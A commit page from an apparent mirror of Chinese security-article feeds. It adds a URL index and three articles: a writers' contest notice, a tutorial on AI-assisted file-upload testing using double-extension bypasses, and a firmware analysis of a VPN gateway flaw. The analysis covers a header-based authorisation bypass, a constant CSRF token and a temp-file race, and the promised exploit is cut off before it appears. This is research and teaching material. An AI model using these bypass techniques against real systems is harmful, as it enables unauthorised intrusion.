admin/wxvl
1
0 Fork 0
mirror of https://github.com/gelusus/wxvl.git synced 2026-10-24 08:54:27 +00:00
Code Issues Packages Projects Releases Wiki Activity

正在获取URL...

Browse Source 
chainreactors: 0 个URL
BruceFeIix: 13 个URL
Doonsec: 29 个URL
总共去重后: 42 个URL
CVE-2026-104935固件分析(附exp)、一个漏掉的过滤，一个空掉的名单： 用友 GRP-U8 的两条零权限 RCE、月下载9000万次的AI网关LiteLLM曝双漏洞：低权限账号就能偷走你所有API密钥、Progress 修复12个MOVEit Transfer 高危漏洞、【漏洞通告】Windows Shell 安全功能绕过漏洞（CVE-2026-96951)、AI挖洞实战 08 | Workbuddy+Skill技能库，文件上传漏洞、CVE靓号—9.3高分漏洞CVE-2026-99999分析、10月社区投稿活动 | 漏洞挖掘∕AI渗透∕面试经验∕简历编写、公司修漏洞时又被攻击，30万台设备被控案还留下什么、F5 紧急修复多个 NGINX 高危漏洞、
This commit is contained in:
test committed 2026-10-20 09:11:06 +00:00
1 parent 4ce7cfcc24
commit 22de232cc4
11 files changed
+2527 -1
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

data.json
+11 -1
View File
@@ -27871,5 +27871,15 @@
"https://mp.weixin.qq.com/s/L1KhsRL69-n1_qqTQDpa2Q": "Laravel TokenGuard 严重漏洞（CVSS 9.2）可让攻击者以任意用户身份登录",
"https://mp.weixin.qq.com/s/d89_bsvskL65NshHTaV_Tg": "连密码都不用！博通WiFi曝0day隔空秒拿ROOT",
"https://mp.weixin.qq.com/s/zPIdFMstSJlkbKkwK42eQg": "Pwn2Own 汽车赛事：漏洞、利用与经验总结",
"https://mp.weixin.qq.com/s/BHpeTLmhaUX4kjuh8NICoQ": "【漏洞预警】linux内核漏洞(POC已公开)已有 Android∕ARM64 的利用实现CVE-2026-98260"
"https://mp.weixin.qq.com/s/BHpeTLmhaUX4kjuh8NICoQ": "【漏洞预警】linux内核漏洞(POC已公开)已有 Android∕ARM64 的利用实现CVE-2026-98260",
"https://mp.weixin.qq.com/s/XP6JzjoQl76kQub5H5pXFw": "CVE-2026-104935固件分析(附exp)",
"https://mp.weixin.qq.com/s/dGk0dTXwuk7hwLpUqcMR4A": "一个漏掉的过滤，一个空掉的名单： 用友 GRP-U8 的两条零权限 RCE",
"https://mp.weixin.qq.com/s/HO65vIMMJFgKuLLBzR6GeA": "月下载9000万次的AI网关LiteLLM曝双漏洞：低权限账号就能偷走你所有API密钥",
"https://mp.weixin.qq.com/s/zhMAOnQjsYHKtU502VMdqQ": "Progress 修复12个MOVEit Transfer 高危漏洞",
"https://mp.weixin.qq.com/s/1ACjf2mQZdz8DhNnMdoTOg": "【漏洞通告】Windows Shell 安全功能绕过漏洞（CVE-2026-96951)",
"https://mp.weixin.qq.com/s/m8hns8OG0kIbJiAarDFrxg": "AI挖洞实战 08 | Workbuddy+Skill技能库，文件上传漏洞",
"https://mp.weixin.qq.com/s/a7Qch0B5HyuG-6p5ZKmRMg": "CVE靓号—9.3高分漏洞CVE-2026-99999分析",
"https://mp.weixin.qq.com/s/72CCdOgrNAZ8NQcv201IWw": "10月社区投稿活动 | 漏洞挖掘∕AI渗透∕面试经验∕简历编写",
"https://mp.weixin.qq.com/s/sL0JE9_97TNpAlAueSsAoA": "公司修漏洞时又被攻击，30万台设备被控案还留下什么",
"https://mp.weixin.qq.com/s/NyvavsVJ_-BWad-cSF6gUA": "F5 紧急修复多个 NGINX 高危漏洞"
}
doc/2026-10/10月社区投稿活动 漏洞挖掘∕AI渗透∕面试经验∕简历编写 (9)..md
+101
View File
@@ -0,0 +1,101 @@
# 10月社区投稿活动 | 漏洞挖掘/AI渗透/面试经验/简历编写
原创 掌控者
掌控者 掌控安全EDU 2026-10-20 05:45
# 2026 | 10 月社区投稿活动
### 投稿模板：https://bbs.zkaq.cn/t/6306.html
### 本期活动奖金池
**30000金币**
(1000金币=100大洋，可在社区商城提现)，打空截止，不另外追加奖金池
### 活动时间
10 月 8 日- 10 月 30 日
### 投稿要求
**文章内容必须为原创内容，Track社区首发且未在公众号中发布过**
1. 文章简洁，格式美观大方，敏感内容请注意脱敏处理。
2. 文章通过后，如果发现一稿多投，打赏的金币将收回。
#### 3. 针对【漏洞复现】文章稿件要求如下：
近三个月出现的热点大型漏洞分析复现，可根据情况给到1000 至 3000+ 金币稿费，具体稿费可添加审核微信咨询：
1、详细的漏洞介绍
2、详细的环境搭建
3、详细的漏洞分析
4、详细的漏洞利用思路及复现
5、内容为原创Track社区首发
6、优秀原创案例：
flysheep | 飞塔漏洞分析报告之CVE-2024-21762
**封神台漏洞复现靶场 WriteUp 固定奖励 300 金币**
**获取投稿活动咨询、投稿审核等 可联系审核微信：hackerxhz666，添加时请备注：track-你的社区昵称**
### 集赞奖励计划
##### 在平台投稿审核通过的文章，将自动加入集赞奖励计划(奖励系统自动触发)：
- 5个赞，奖励 20 个金币
- 10个赞，奖励 40 个金币
- 20个赞，奖励 100 个金币
注：单人点赞有次数限制，恶意刷赞将被检测，请不要恶意刷赞。
**新增规则：在 掌控安全EDU 公众号发布的投稿文章，三天内点赞数超过20可额外获取100金币奖励**
### 本月活动文章主题：漏洞挖掘
**本月收录优秀面试经验贴，可以与其他投稿活动奖励叠加~****优秀面试经验贴案例：**
https://bbs.zkaq.cn/t/32026.html******面试经验模板贴：**
https://bbs.zkaq.cn/t/2956.html
**特别优秀文章可以给到单篇 2000-3000 金币及以上的奖励，特别优秀文章：攻防对抗详细内容、对抗绕过成功等技巧性知识、知识点全面总结等，此类文章投稿请作者单独添加审核微信：hackerxhz666，备注：track-你的社区用户名**
### 10 月主题投稿活动：
**对于符合 10 月活动文章主题且文章稿费****≥2500 金币（≥250 元） 的 实战攻防文章****，每篇给予****额外的 300 金币****投稿活动奖励(注：此活动与每月日常投稿活动不叠加)。**
### 每月日常投稿活动：
<table><tbody><tr style="height: 35px;"><td data-colwidth="385" width="385" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;text-align: center;" data-nest-level="6"><strong data-nest-level="7"><span leaf="" data-nest-level="8">投稿活动奖励</span></strong></p></td><td data-colwidth="385" width="385" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;text-align: center;" data-nest-level="6"><strong data-nest-level="7"><span leaf="" data-nest-level="8">文章篇数</span></strong></p></td><td data-colwidth="386" width="386" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;text-align: center;" data-nest-level="6"><strong data-nest-level="7"><span leaf="" data-nest-level="8">额外奖励</span></strong></p></td></tr><tr style="height: 33px;"><td data-colwidth="385" width="385" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;text-align: center;" data-nest-level="6"><span leaf="" data-nest-level="7">1</span></p></td><td data-colwidth="385" width="385" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;text-align: center;" data-nest-level="6"><span leaf="" data-nest-level="7">共发表 1 篇有效文章</span></p></td><td data-colwidth="386" width="386" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;text-align: center;" data-nest-level="6"><strong data-nest-level="7"><span leaf="" data-nest-level="8">100 金币（不限新老用户）</span></strong></p></td></tr><tr style="height: 34px;"><td data-colwidth="385" width="385" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;text-align: center;" data-nest-level="6"><span leaf="" data-nest-level="7">2</span></p></td><td data-colwidth="385" width="385" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;text-align: center;" data-nest-level="6"><span leaf="" data-nest-level="7">共发表 3 篇有效文章</span></p></td><td data-colwidth="386" width="386" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;text-align: center;" data-nest-level="6"><strong data-nest-level="7"><span leaf="" data-nest-level="8">300 金币</span></strong></p></td></tr><tr style="height: 33px;"><td data-colwidth="385" width="385" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;text-align: center;" data-nest-level="6"><span leaf="" data-nest-level="7">3</span></p></td><td data-colwidth="385" width="385" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;text-align: center;" data-nest-level="6"><span leaf="" data-nest-level="7">共发表 5 篇有效文章</span></p></td><td data-colwidth="386" width="386" style="border: 1px solid #d9d9d9;"><p style="margin: 0;padding: 0;min-height: 24px;text-align: center;" data-nest-level="6"><strong data-nest-level="7"><span leaf="" data-nest-level="8">500 金币</span></strong></p></td></tr></tbody></table>
**投稿活动奖励范畴：对于稿费 ≥ 2500 金币（≥250 元）的文章不参与每月日常投稿活动以及请不要设置文章付费门槛，因为我们会给到您足够的稿费！**
**注：所有投稿活动奖励仅针对通过审核的有效文章，额外奖励可叠加，立即结算生效。实战文章若未达到 300以上（包括300）金币的文章，不计入投稿活动奖励范围**
#### 长期收文章类型：
```
实战纪实类(各大src、护网项目、实战渗透报告)  代码审计类（需写清楚完整的代码审计流程） 二进制安全研究 恶意样本分析 安全开发、漏洞利用武器化研究 CTF Writeup【暂时不做收录】
```
**对所有的投稿文章，默认作者授权允许本公司以原创的方式将文章转载到微信公众号中（微信公众号原创发布时 作者署名：zkaq-作者的社区名字）**
注:
1.如对该授权存在异议，请在文章中进行标注。文章仍可通过审核发布在平台，但社区将不奖励任何金币。其他用户阅读后打赏的金币仍归作者所有.
2.对于实战类型的文章，请作者自行脱敏。对一些通杀漏洞的分析等文章，请作者在文章末尾提供修复建议
### 稿件审核标准
文章的审核将从以下4个维度进行审核，并且会在稿件打赏中标明等级，及相应的金币数量
```
技术深度    一级 1000-3000金币    二级 500-1500金币    三级 100-500金币技术广度、普适性    一级 1500-3000金币    二级 700-1500金币    三级 100-700金币文章可读性、完整性    一级 200金币    二级 100金币文章稀缺度(稀缺度需要有技术深度) ：    一级 1000-2000金币    二级 700-1000金币    三级 0-700金币
```
注：天梯会公示在社区、优秀文章也会推荐到正式课全群。如有他人打赏，打赏的金币归作者所有
### 加入 Track 社区微信群
添加官方微信：**hackerxhz666**
，邀请您加入群聊。添加时请备注 ：Track-你的 Track 社区昵称。
### 最后
欢迎各位白帽参与投稿，获取投稿活动咨询、投稿审核沟通等 可联系审核微信：**hackerxhz666**
，添加时请备注：track-你的社区用户名，另外所有最终解释权归 Track 社区官方所有。
doc/2026-10/AI挖洞实战 08 Workbuddy+Skill技能库，文件上传漏洞.md
+130
View File
@@ -0,0 +1,130 @@
# AI挖洞实战 08 | Workbuddy+Skill技能库，文件上传漏洞
原创 网安学习室
网安学习室 网络安全学习室 2026-10-20 03:47
## 01 准备工作与AI约束配置
最近在SRC众测平台刷项目，优先挑了校园场景的业务系统。校园类平台大多是外包赶工出来的，像学生材料上传、社团报名表单，是文件上传漏洞的高发地。很多开发只做一层前端校验，稍微构造载荷就能绕过。
在启动自动化任务前，我第一件事不是直接跑扫描，而是给Skill写好约束，划定测试边界，防止AI乱发包触发WAF，也避免不小心越权访问其他敏感数据。
约束提示词：
```
本次目标：校园资料上传接口，仅测试文件上传漏洞。
规则1：只上传测试用无害文件，禁止上传木马、恶意脚本；
规则2：请求间隔≥3秒，禁止并发大量请求；
规则3：仅测试文件上传接口，不访问其他学生信息、成绩查询接口；
规则4：一旦发现可上传脚本文件线索，立刻停止任务，等待人工复核。
```
导入Skill，AI就会严格按照这套规则做自动化探测。
## 02 接口收集，抓取学生附件上传请求
调用04‑前端JS与API信息收集
Skill，定位到这个系统里【学生申请证明上传】功能，和我们学校提交助学金、实习材料的页面几乎一模一样。抓包拿到上传接口：
上传接口：POST /api/student/fileUpload
表单参数：
```
file: 学生上传图片材料（学生证照片、申请证明）
uploadType: apply
```
业务逻辑：学生提交各类校园申请时，上传证明图片，后端接收文件保存到服务器。
原本设计只允许上传jpg、png图片。一旦后端校验逻辑存在缺陷，就会出现文件上传漏洞。Skill标记这个接口作为本次探测目标。
## 03 自动化漏洞探测，批量绕过Payload测试
启用文件上传探测Skill，探测流程：
1. 加载内置文件上传Payload集合：后缀大小写绕过、黑名单绕过、文件头欺骗、双后缀等常见payload；
1. 循环替换文件名称与文件内容，提交到上传接口；
1. 记录返回数据包，判断文件是否上传成功，并且获取访问地址。
我点开任务让AI跑起来，就收拾东西去食堂吃饭。等吃完饭回到宿舍打开电脑，发现探测任务已经自动暂停。
探测结果：上传test.jpg.php
，接口返回上传成功，并返回可直接访问的文件链接。
Workbuddy标记高危线索，等待我人工核验。
> 漏洞线索：后端仅简单校验文件名后缀，没有校验文件真实内容，可上传php脚本文件，存在文件上传高危漏洞。
## 04 人工复现验证
AI只能帮我筛线索，人工复现，才是提交SRC拿赏金的关键一步。
**复现步骤**
1. 先正常上传一张jpg学生证照片，确认上传功能正常；
1. 构造test.jpg.php
双后缀文件，提交上传接口；
1. 使用返回链接访问该文件，如果脚本能够被服务器解析执行，确认漏洞真实存在。
**漏洞判定标准**
1. 用户可控文件上传；
1. 后端校验可被绕过；
1. 可上传可执行脚本，服务器能够解析执行脚本代码。
满足条件，判定高危文件上传漏洞。
## 05 漏洞根因分析与修复方案
**漏洞根因**
看完逻辑我很能理解开发的想法：以为前端限制图片后缀就足够安全。但前端校验用户完全可以篡改。这个外包项目工期紧，后端只做了简单黑名单，没有校验文件头部，上传目录还保留脚本执行权限，一个小小的疏漏直接造成高危漏洞。
**修复方案**
1. 使用白名单：只允许jpg、png这类图片后缀，拒绝其他所有后缀；
1. 校验文件头部（文件幻数），不单单依靠文件名判断文件类型；
1. 上传目录取消脚本执行权限，就算恶意文件上传成功，也无法解析运行；
1. 文件重命名，随机生成文件名，剥离原始文件名，防止后缀绕过；
1. 图片类文件，后端二次压缩转码，破坏嵌入脚本。
## 06 生成SRC标准漏洞报告
调用漏洞报告生成Skill，一键生成SRC漏洞报告初稿。
报告提示词：
```
根据本次校园场景文件上传漏洞，生成SRC漏洞报告，包含标题、漏洞类型、复现步骤、POC请求包、漏洞根因、修复建议。
```
初稿生成之后，我花了半小时手动补充抓包截图、请求响应报文。反复核对资产，确认属于SRC授权范围，不夸大漏洞危害，全部核验完毕提交平台。
## 写在最后
身边不少同学都好奇SRC挖洞，但是很多人一上来就想着去测本校教务系统，这里一定要提醒大家：**千万不要直接去测本校官网、教务系统**
，没有授权属于违法行为。我们只能在SRC平台开放的校园类众测靶场练习。
AI是工具，不能替代思考。如果看不懂漏洞原理，就算AI跑出线索，你也无法复现、写不出合格的漏洞报告。课余、实训间隙学网安，一边练手一边拿赏金，既能攒下实打实的项目写进简历，也能赚点生活费。对我们专科生来说，这是一条靠技术提升自己的路子。
本次全套干货已打包：**AI 自动化挖洞 Skill，也就是这套《Web 漏洞技能集》**
。这套技能库从前期的信息收集、资产分析，到中间的漏洞排查，再到最后的漏洞报告生成，整个挖洞流程都已经拆分好了。
后面实际测试的时候，只需要根据当前目标的情况，选择对应的 Skill，让 AI 按照对应流程执行即可，新手也可以快速上手，直接👀👉[全套自学资料](https://mp.weixin.qq.com/s?__biz=MzkzNzk5MjEyNg==&mid=2247483826&idx=1&sn=4ff03198e63ca6e68161a5b93eee17da&scene=21#wechat_redirect)
![图片](https://mmbiz.qpic.cn/mmbiz_png/Vs6KsYlvMyOrNbAqASTMTgmkCbjgRzEEuSAfuEFqTSibtAicHicoMnyvZibhcKAcEia3YicRjNgibToXrtkn8oBjM9iaPxCWrEAA7UQ67VaoAKhQZfI/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=1 "")
⚠️ 合规声明 本文所有技术内容仅用于官方授权 SRC 合规测试与网络安全技术学习，严禁未授权探测、非法渗透测试，违规操作自行承担法律责任。
[#网络安全]()
 [#SRC挖洞]()
 [#AI自动化挖洞]()
 [#Hermes]()
 [#业务逻辑漏洞]()
 [#优惠券越权漏洞]()
 [#网安副业]()
 [#零基础挖洞]()
doc/2026-10/CVE-2026-104935固件分析(附exp).md
+477
View File
@@ -0,0 +1,477 @@
# CVE-2026-104935固件分析(附exp)
原创 圣火喵喵教
圣火喵喵教 鉴帷安全 2026-10-20 08:20
简介
Connect Secure是企业里最常见的一类 SSL VPN 网关，本文基于最近关于CVE-2026-104935利用链的后一个代码执行漏洞进行分析，不涉及ROOT提权，最终exp见第三章。
## 1. 内部架构与授权模型
根据固件分析，底层是 CentOS 7，Web 层用 nginx 加自研模块，业务逻辑大量用 Perl CGI 写。为了让不同用途的页面互相隔离，CGI 不是都跑在一个大进程里，而是按用途分成几个区，每个区有自己的进程池和运行身份。分区写在 home/config/cgi.cfg
，一共六个：
```
[cgi user]    preload=webserver/htdocs/dana/home/*.cgi
[cgi file]    preload=webserver/htdocs/dana/fb/nfs/*.cgi, webserver/htdocs/dana/fb/smb/*.cgi
[cgi auth]    preload=webserver/htdocs/dana-na/auth/*.cgi
[cgi admin]   preload=perl/AdminUI.pm, perl/DSCGI.pm, perl/DSUtilHTML.pm,
                      perl/DSCGIControl.pm, perl/DSWebUIDialog.pm
[cgi licprot] preload=perl/DSLicenseServerProto.pm
[cgi onboard] preload=webserver/htdocs/dana/home/getProfileSecure.cgi,
                      webserver/htdocs/dana-na/mobile/getProfile.cgi
```
preload
 决定哪个目录下的 CGI 归哪个区执行。每个区对应一份 spec 文件，里面写着运行身份：
```
# home/config/cgifile.spec.cfg
[default]
uid=104
gids=104
binary=/home/ecbuilds/int-rel/sa/22.8/bldXXXXX.1/install/bin/cgi-server
args=file
dspar=5
selinuxDomain=dscgi_file_t
```
也就是说，dana/fb/smb/*.cgi
 由 uid 104 的进程执行，并且被限制在 SELinux 域 dscgi_file_t
 里。作为对照，dsinvoked.spec.cfg
 和 cache.spec.cfg
 都是 uid=0
。
授权分两层。管理后台是一张"CGI 文件路径 → 角色"的表，从 DSCGIControl.pm:173
 开始，长这样：
```
"$dsinstall/dana-admin/adminrole/adminRole.cgi"     => {ro=>1, role=>$adminRoleGeneral},
"$dsinstall/dana-admin/adminrole/adminRoleAdmins.cgi" => {ro=>1, role=>$adminRoleAdmins},
```
ro
 表示能不能写，role
 是一个返回当前权限级别的子过程。普通用户面另有一张 URL 级的表，在 home/config/cgi-perms
：
```
31:  /dana-na/auth/welcome.cgi = perm:none; feature:none
144: /dana/fb/smb/wu.cgi       = perm:cifs_preset_bm; feature:windowsfilebrowsing
```
前者是登录入口，谁都能访问；后者是文件上传页，要有"Windows 文件浏览"权限才行。两张表的键都是页面路径，设计意图很清楚：先看你要访问哪个路径，再决定放不放行。
问题就出在"先看路径"这个做法上。
## 2. 一条完整的绕过路径
整条路径是这样串起来的，后面逐段展开。
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/CrThU6KH4h4SaIeCH33IQBy2XykrSkoCeAVUd0wDM2WUNiaoia8QeTevyMOkCEXRGicMpNf8pNFmape0GICZy1zwFkSu3FghohFKeu57NB392s/640?wx_fmt=webp&from=appmsg "")
### 2.1 授权查表用的键
管理后台的授权入口是 DSCGIControl::run()
：
```
# DSCGIControl.pm:640-658
sub run {
    my @params = @_;
    my $sname = CGI::script_name();
    my $control = $AccessTable->{CGI::script_name()};   # :643 查表键 = 客户端请求的 URL
    checkLicense();
    if (ref($control)) {
        my $role_proc = $control->{role};
        my $effective_role = $DSRole::ADMIN_DENY;
        $effective_role = $role_proc->() if ref($role_proc);
        DSLog::Msg("CGIDelegation", 20, "effective role is $effective_role for $sname");
        checkAccess($effective_role, $control->{ro}, @params);
    } else {
        # we force cgis to have this
        &accessError('CGI does not have access control set up.');   # :656 查不到就拒绝
    }
}
```
这函数不长，但有三个点值得注意。
**第一，查表的键是 CGI::script_name()。**
 它返回 CGI 环境变量 SCRIPT_NAME
，也就是浏览器请求的 URL 路径。放不放行、以什么身份放行，全看这个值。
**第二，查不到就拒绝。**
 表里没有这条路径，直接 accessError()
 返回"没有权限访问此页面"然后退出。这块设计是对的，缺陷不在这里。
**第三，放行之后还有一道。**checkAccess()
 负责读写权限和 CSRF：
```
# DSCGIControl.pm:661-696
sub checkAccess {
    my ($effective_role, $ro, @params) = @_;
    checkLicense();
    if ($effective_role eq $DSRole::ADMIN_DENY) {
        &accessError('Access is denied.');
    } else {
        my $bad_list = paramControl(\@params);      # :669 只收"请求里实际出现"的参数
        # check CSRF
        if ($#$bad_list > -1) {                     # :671 列表为空就跳过 CSRF
            if (!DSCSRF::checkAuth()) {
                return &accessError('Invalid access parameter(s).', $bad_list);
            }
        }
        ...
    }
}
```
### 2.2 执行目标与授权键不是同一个东西
CGI::script_name()
 是客户端请求的 URL。但请求最后交给哪个 CGI 执行，在 22.8R2.4 里是另一条链路决定的——请求头里的内部路由字段。翻 home/lib/nginx/ngx_http_dspar_cgi_module.so
 的字符串能完整看到这套东西：
```
HTTP_X_DSCGI_PATH
%s: pathRow[%d] for X-DSCGI-PATH header
X-DSCGI-URL
```
pathRow[%d]
 说明内部维护了一张路径行表，用请求头给的值决定走哪一行。于是一个尴尬的局面对上了：
<table><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">环节</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">依据</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">由谁提供</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">放不放行、以什么身份</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf="">CGI::script_name()</span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">请求的 URL</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">实际执行哪个 CGI</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-rightLine truncated
两个输入都来自客户端，但可以指向完全不同的方向。
同一时期还有一处同源问题：X-DSUSER
、X-DSSESSIONID
、X-DSGROUP
、X-DSUNIQUEID
 这些本该由设备自己生成的身份字段，前端直接采信了客户端提交的值（字符串在预处理模块里）。两个问题的病根一样——**该服务端说了算的，交给了客户端。**
### 2.3 入口与提交判断
上传页 wu.cgi
 的入口逻辑：
```
# wu.cgi:44-72
sub doit() {
    $ |= 1;
    if ($ENV{'QUERY_STRING'} && $ENV{'QUERY_STRING'} =~ /restApiReq=1/) {
       DSLog::Msg("FileRequest", 30, "REST API Request");
       $Main::restApiReq = 1;
       if ($ENV{'QUERY_STRING'} && $ENV{'QUERY_STRING'} =~ /uploadForm=1/) {
         DSLog::Msg("FileRequest", 30, "Upload Form Rest API Request");
         $Main::uploadFormRestApiReq = 1;
       }
    }
    DSCGIControl::initialChecks('btnUpload');           # :56 入口安全检查
    $Main::realuid = DSSessionsManager::getCurrentUserSID();
    CGI::private_tempfiles(1);
    init();
    if(CGI::param("confirm") eq "yes") {                # :63 上传分支条件
        initUpload();
    } else {
        if ($Main::restApiReq and ($Main::uploadFormRestApiReq ne 1)) {
            print CGI::header(-type=>"application/json", -status=> '400 Bad Request');
            return;
        }
        display_upload_form();
    }
}
```
这段源文件跟固件 manifest 里的 /home/webserver/htdocs/dana/fb/smb/wu.cgi
 是同一份，SHA-256 为 62b13023c5dd7d923b8bbcca4e9dc1b828555035e7aa1d3fc4d6dd38499d396f
（记录在 audit/vendor-evidence-2026-10-20.md
）。
要进上传分支有两个前提：一是 confirm=yes
，二是请求里得带 CSRF 令牌 xsauth
。令牌这块比较尴尬——未认证会话没有 DSID
，getAuth()
 会回落到 md5_hex(cookie('DSID'))
（DSCSRF.pm:22-43
），也就是 md5_hex("")
，一个固定常量。等于这道门谁都能过。
### 2.4 上传分支与 zip 标记
initUpload()
 一次最多读五个文件槽，按 chkUnzip$ii
 是否存在决定这个文件按不按 zip 处理：
```
# wu.cgi:152-208（节选）
sub initUpload {
    ...
    my $filesList;
    for (my $ii=1; $ii<6; $ii++) {
        my $fileHash = {};
        $fileHash->{filename} = CGI::param("file$ii");           # :171 文件名来自表单
        $fileHash->{filename} = "" if(!defined($fileHash->{filename}));
        $fileHash->{renFile} = CGI::param("txtRenameFile$ii");
        $fileHash->{renFile} = "" if(!defined($fileHash->{renFile}));
        if(defined(CGI::param("chkUnzip$ii"))) {                 # :175 chkUnzip 决定 isZip
            $fileHash->{isZip} = "on"
        } else {
            $fileHash->{isZip} = "off";
        }
        push @$filesList, $fileHash;
    }
    ...
    foreach my $fileItem (@$filesList) {
        $Main::filename = $fileItem->{filename};
        $Main::renFile  = $fileItem->{renFile};
        $Main::isZip    = $fileItem->{isZip};
        ...
        ($status, $message) = doUpload() if($Main::filename ne "");
    }
```
提交 chkUnzip1=on
，$Main::isZip
 就是 "on"
，下面走解压分支。
### 2.5 落盘与窗口期
解压分支第一步是把上传内容整体写进临时文件：
```
# wu.cgi:432-460
# Read zip file into a temporary file
# Zip directory structure can be used to files one-by-one
sub readZipFile {
    my @members;
    if ($Main::isZip eq "on") {
        $Main::tmpFile = $g_tmpDir . md5_hex($Main::filename);   # :439 路径可由客户端预先算出
        DSLog::Msg("WU", 10, "Reading zip file into: $Main::tmpFile");
        my $bytesread = 0;
        my $data;
        open(*FD, ">$Main::tmpFile");                            # :443 无 O_EXCL、无显式权限
        while (($bytesread = sysread($Main::filename, $data, 4096)) > 0) {
            syswrite(*FD, $data, $bytesread);                     # :445 首次写入后文件即存在
            $Main::progress{read} += $bytesread;
            DSProgress::update_progress_rec($Main::trackid, %Main::progress);
        }
        close($Main::filename);
        close(*FD);
        $Main::zip = DSFB::openZipFileSafe($Main::tmpFile);      # :451 解析见 DSFB.pm:2100-2116
        if ($Main::zip == undef){
            return -1;
        }
        ...
    }
    return 0;
}
```
```
# 落盘位置与删除点
my $g_tmpDir = $ENV{'DSINSTALL'}."/runtime/tmp/";   # :38  全局共享目录，非请求私有
unlink($Main::tmpFile);   # :298  解压失败分支，提前删除
                          # :346 :357  处理过程中的错误分支
                          # :404  超时分支
                          # :411  正常结束路径
                          # :517 :553  后续分支
```
三处细节叠在一起，条件就够了：
**落盘位置是共享的。**runtime/tmp
 不是请求私有目录，里面的文件对所有同级 CGI 可见。
**路径能提前算出来。**
 文件名取 md5_hex($Main::filename)
